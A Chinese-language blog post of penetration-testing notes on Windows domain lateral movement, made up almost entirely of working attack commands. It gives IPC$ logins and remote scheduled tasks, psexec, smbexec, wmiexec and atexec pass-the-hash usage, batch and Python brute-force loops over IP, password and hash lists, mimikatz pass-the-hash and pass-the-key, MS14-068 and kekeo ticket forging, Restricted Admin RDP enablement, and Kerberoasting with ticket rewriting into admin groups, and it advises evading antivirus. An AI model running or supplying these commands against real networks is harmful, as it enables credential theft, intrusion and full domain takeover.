内网横向
简介
在拿下一台内网主机,通过本地信息搜集收集用户凭据等信息后,可以使用多种技术进行横向渗透拿下更多的主机
大量计算机在安装的时会使用相同的本地管理员账号和密码,因此如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用hash传递攻击的方法登录内网中的其他机器。
at&schtasks横向
相关前置知识
IPC( Internet Process Connection)是共享“命名管道”的资管,它是为了让进城间通信而开放的命名管道,可以通过验证用户名和密码获得相关的权限,在远程管路计算机和查看计算机的共享资源时使用。
横向思路
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户 名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或 者相关命令
利用流程
- 建立 IPC 链接到目标主机
- 拷贝要执行的命令脚本到目标主机
- 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
- 删除IPC链接
相关命令
net use #查看当前的ipc连接
net use \\server\ipc$"password" /user:username # 工作组本地用户
net use \\server\ipc$"password" /user:domain\username #域内用户
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat #下载文件
copy 1.bat\\xx.xx.xx.xx\C$ #复制文件
net use \\xx.xx.xx.xx\C$\1.bat/del #删除IPC
net view xx.xx.xx.xx # 查看对方共享
at 目标系统小于Windows2012使用
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
schtasks 目标系统大于=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务 对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务
第三方工具atexec 需要做免杀处理
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami"
批量横向
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@10.0.0.1 whoami #批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@10.0.0.1 whoami #批量检测HASH对应IP回显版
脚本横向
#pip install pyinstaller
#pyinstaller -F fuck_neiwang_001.py 生成可执行EXE
import os,time
ips={
'192.168.1.1',
'192.168.1.2',
'192.168.1.3',
}
users={
'Administrator',
'testuser',
'win2008'
}
passs={
'1234',
'12345'
}
for ip in ips:
for user in users:
for mima in passs:
exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:hacker.testlab\\'+user
print('--->'+exec+'<---')
os.system(exec)
time.sleep(1)
域横向移动SMB服务利用-psexec 官方自带
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
- 需要先有ipc链接,再使用psexec
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有ipc链接 -s以System权限运行
- 不用建立IPC直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方Pstools无法采用hash连接
域横向移动WMI服务利用-cscript,wmiexec,wmic(官方自带)
WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
非官方的smbexec,套件impacket wmiexec 明文或hash传递 有回显exe版本
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
域横向 PTH&PTK&PTT 哈希票据传递
前置知识
Kerberos协议具体工作方法,在域中,简要介绍一下:
• 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用krbtgt密码hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
• 将TGT进行加密签名返回给客户机器,只有域用户krbtgt才能读取kerberos中TGT数据
• 然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
• 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。
PTH (pass the hash) 利用lm或者ntlm的值进行的渗透测试
PTT (pass the ticket) 利用的票据凭证TGT进行的渗透测试
PTK (pass the key) 利用的ekeys aes256进行的渗透测试
PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash
和NTLM Hash远程访问主机或者服务,而不提供明文密码
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现ptk攻击,
总结:KB2871997补丁后的影响
pth:没打补丁用户都可以连接,打了补丁只能administrator连接
ptk:打了补丁才能用户都可以连接,采用aes256连接
https://www.freebuf.com/column/220740.html
PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
MS14-068基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
PTH横向攻击
PTH ntlm传递 ntlm前期收集
未打补丁下的工作组及域连接:sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
PTK横向攻击
打补丁后的工作组及域连接:sekurlsa::ekeys
#获取aessekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
横向移动PTT传递-ms14068&kekeo&本地
普通用户直接拿下域控的system权限
- 查看当前sid whoami/user
- mimikatz # kerberos::purge
//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
- 利用ms14-068生成TGT数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45
- 票据注入内存
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit
- 查看凭证列表 klist
- 利用
- 192.168.3.21c$
第二种利用工具kekeo
1.生成票据kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用net use载入dir \192.168.3.21\c$
第三种利用本地票据(需管理权限)sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi
总结:ptt传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据
域横向SPN&RDP
RDP
除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明文密码或HASH密文也可以通过RDP协议进行链接操作。
RDP协议连接:判断对方远程桌面服务是否开启(默认:3389),端口扫描判断
RDP明文密码链接
windows: mstscmstsc.exe /console /v:192.168.3.21 /admin
linux: rdesktop 192.168.3.21:3389
RDP密文HASH链接
windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win 7 和Windows Server 2008 R2安装了2871997、2973351补丁也支持;开启命令:
REG ADD "HKLMSystemCurrentControlSetControlLsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
开启后运行:
mstsc.exe /restrictedadmin
mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"
SPN
https://www.cnblogs.com/backlion/p/8082623.html
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。
探针setspn -q */*
#查询当前域内开放的一些服务setspn -q / | findstr "MSSQL"
搜索特定服务
请求powershellAdd-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"
导出mimikatz.exe "kerberos::list /export"
破解python tgsrepcrack.py passwd.txt xxxx.kirbi
python3 .\tgsrepcrack.py .\password.txt .\1-40a00000-jerry@MSSQLSvcSrv-DB-0day.0day.org1433-0DAY.ORG.kirbi
重写python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -u 500
#提权管理员权限python kerberoast.py -p Password123 -r xxxx.kirbi -w PENTESTLAB.kirbi -g 512
mimikatz.exe kerberos::ptt xxxx.kirbi
# 将生成的票据注入内存
版权声明:本文为原创文章,版权归 Bill's Blog 所有,转载请注明出处!如相关链接出现404,可以在文章下面评论留言。